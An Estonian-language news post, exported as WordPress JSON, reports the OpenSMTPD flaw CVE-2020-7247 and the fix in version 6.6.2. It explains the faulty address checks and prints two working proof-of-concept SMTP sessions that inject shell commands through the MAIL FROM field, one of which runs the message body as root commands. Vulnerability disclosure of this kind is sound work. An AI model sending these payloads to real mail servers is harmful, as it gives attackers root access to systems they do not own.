{"id":55807,"date":"2020-01-29T00:00:00","date_gmt":"2020-01-28T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root"},"modified":"2020-02-18T14:03:57","modified_gmt":"2020-02-18T11:03:57","slug":"uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","status":"publish","type":"post","link":"https:\/\/prohoster.info\/et\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","title":{"rendered":"Haavatavus OpenSMTPD-s, mis v\u00f5imaldab kaugel k\u00e4itada koodi root \u00f5igustes","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Arendatavas OpenBSD arendusprojektis olev e-posti server OpenSMTPD<\/a><\/noindex> tuvastatud kriitiline haavatavus<\/a><\/noindex> (CVE-2020-7247), mis v\u00f5imaldab kaugjuhtimise teel k\u00e4ivitada shell-k\u00e4sklusi serveris root-kasutaja \u00f5igustes. Haavatavus tuvastati Qualys Security poolt l\u00e4bi viidud kordusauditi k\u00e4igus (eelmine audit OpenSMTPD viidi l\u00e4bi<\/a><\/noindex> 2015. aastal, ja uus haavatavus on olemas alates maist 2018). Probleem on k\u00f5rvaldatud<\/a><\/noindex> on OpenSMTPD 6.6.2 versioonis. K\u00f5igile kasutajatele soovitatakse viivitamatult uuendus installida (OpenBSD jaoks saab paranduse installida syspatch'i kaudu).<\/p>\n

Pakutud on kaks r\u00fcndevarianti. Esimene variant t\u00f6\u00f6tab OpenSMTPD vaikeseadetega (\u00fclitame ainult localhost'ist) ja v\u00f5imaldab probleemist kohapeal kasu saada, kui r\u00fcndajal on v\u00f5imalus p\u00f6\u00f6rduda serveri kohaliku v\u00f5rgu liidese poole (n\u00e4iteks majutuss\u00fcsteemides). Teine variant avaldub juhul, kui OpenSMTPD on seadistatud v\u00e4liste v\u00f5rgu p\u00e4ringute vastuv\u00f5tmiseks (e-posti server, mis aktsepteerib kolmandate isikute e-kirju). Uurijad on valmistanud ette ekspluateerimise protot\u00fc\u00fcbi, mis t\u00f6\u00f6tab edukalt nii OpenBSD 6.6 versiooni OpenSMTPD variandi kui ka teiste ops\u00fcsteemide teisaldatava versiooniga (katsetatud Debian Testing'is).<\/p>\n

Probleem tuleneb veast funktsioonis smtp_mailaddr(), mida kutsutakse \u00fcles kontrollima v\u00e4\u00e4rtuste \u00f5igsust v\u00e4ljade 'MAIL FROM' ja 'RCPT TO' osas, mis m\u00e4\u00e4ravad saatja\/saaja ja edastatakse \u00fchenduse k\u00e4igus postiserveriga. E-posti aadressi osa, mis tuleb enne '@' s\u00fcmbolit, kontrollimiseks kutsutakse smtp_mailaddr() funktsioonis esile funktsioon
\nvalid_localpart(), mis peab lubatud (MAILADDR_ALLOWED) s\u00fcmboleid '!#$%&\u2019*?\/^`{|}~+-=_', mis vastavad RFC 5322 n\u00f5uetele. <\/p>\n

Selle k\u00e4igus toimub stringi otsekohene eskaleerimine funktsioonis mda_expand_token(), mis asendab ainult s\u00fcmbolid '!#$%&\u2019*?`{|}~' (MAILADDR_ESCAPE). Edasi kasutatakse mda_expand_token() kaudu valmistatud stringi kohaletoimetamise agendi (MDA) kutseks k\u00e4suga 'execle('\/bin\/sh', '\/bin\/sh', '-c', mda_command,...'. Kui kiri paigutatakse mbox'i, k\u00e4ivitub \/bin\/sh kaudu k\u00e4sk ' \/usr\/libexec\/mail.local -f %%{mbox.from} %%{user.username}', kus '%{mbox.from}' v\u00e4\u00e4rtus sisaldab eskaleeritud andmeid parameetrist 'MAIL FROM'.<\/p>\n

R\u00fcnnaku olemus seisneb selles, et smtp_mailaddr() sis\u00e4ltab loogilist viga, mille t\u00f5ttu t\u00fchja domeeni edastamisel e-kirjas tagastab funktsioon eduka kontrollikoodi, isegi kui aadressi osa enne '@' sisaldab lubamatuid s\u00fcmboleid. Edasi, mda_expand_token() funktsioon valmistab stringi ette ja eskaleerib mitte k\u00f5ik v\u00f5imalike shell-eris\u00fcmbolid, vaid ainult need, mis on e-posti aadressis lubatud. Seega piisab, kui kasutada e-kirja kohalikus osas s\u00fcmbolit ';' ja t\u00fchikut, mis ei kuulu MAILADDR_ESCAPE kogumisse ja ei eskaleeru. N\u00e4iteks:<\/p>\n

$ nc 127.0.0.1 25<\/p>\n

HELO professor.falken
\n MAIL FROM:<;sleep 66;>
\n RCPT TO:<root>
\n DATA
\n .
\n QUIT<\/p>\n

P\u00e4rast seda seanssi k\u00e4ivitab OpenSMTPD mboxi tarnimisel shelli kaudu k\u00e4su <\/p>\n

\/usr\/libexec\/mail.local -f ;sleep 66; root<\/p>\n

Samuti on r\u00fcnnaku v\u00f5imalused piiratud sellega, et aadressi kohalik osa ei tohi \u00fcletada 64 s\u00fcmbolit ning s\u00fcmbolid '$' ja '|' asendatakse eskaleerimise k\u00e4igus ':'. Selle piiri m\u00f6\u00f6da minemiseks kasutatakse fakti, et kirja sisu edastatakse p\u00e4rast \/usr\/libexec\/mail.local k\u00e4ivitamist sisendvoos, st aadressiga manipuleerimisega saab k\u00e4ivitada ainult k\u00e4sureate interpreteeri sh ja kasutada kiri sisu k\u00e4su kogumina. Kuna kirja alguses kuvatakse teenuslike SMTP-p\u00e4ised, soovitatakse nende vahele j\u00e4tmiseks k\u00e4su read kutsumist ts\u00fcklis. T\u00f6\u00f6 eksploiteerimine n\u00e4eb v\u00e4lja umbes selline:<\/p>\n

$ nc 192.168.56.143 25<\/p>\n

HELO professor.falken
\n MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
\n RCPT TO:<root@example.org>
\n DATA
\n #0
\n #1
\n …
\n #d
\n for i in W O P R; do
\n echo -n '($i) ' && id || break
\n done > \/root\/x.'`id -u`.'.$$
\n .
\n QUIT<\/p>\n

<\/a><\/noindex><\/p>\n

Allikas: opennet.ru<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0435\u043c\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenBSD \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 OpenSMTPD \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2020-7247), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c shell-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f root. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0432 \u0445\u043e\u0434\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430, \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 Qualys Security (\u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u0430\u0443\u0434\u0438\u0442 OpenSMTPD \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u0441\u044f \u0432 2015 \u0433\u043e\u0434\u0443, \u0430 \u043d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0441 \u043c\u0430\u044f 2018 \u0433\u043e\u0434\u0430). \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 OpenSMTPD 6.6.2. \u0412\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-55807","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Haavatavus OpenSMTPD-s, mis v\u00f5imaldab kaugkoodiga k\u00e4ivitada root \u00f5igustes | ProHoster","description":"OpenBSD arendatavates OpenSMTPD e-posti serveris avastati","canonical_url":"https:\/\/prohoster.info\/et\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"et_EE","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 OpenSMTPD, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root | ProHoster","og:description":"\u0412 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0435\u043c\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenBSD \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 OpenSMTPD \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430","og:url":"https:\/\/prohoster.info\/et\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-01-28T21:00:00+00:00","article:modified_time":"2020-02-18T11:03:57+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"55807","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 19:36:30","updated":"2022-10-09 15:09:19","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/55807","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/comments?post=55807"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/55807\/revisions"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/media?parent=55807"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/categories?post=55807"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/tags?post=55807"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}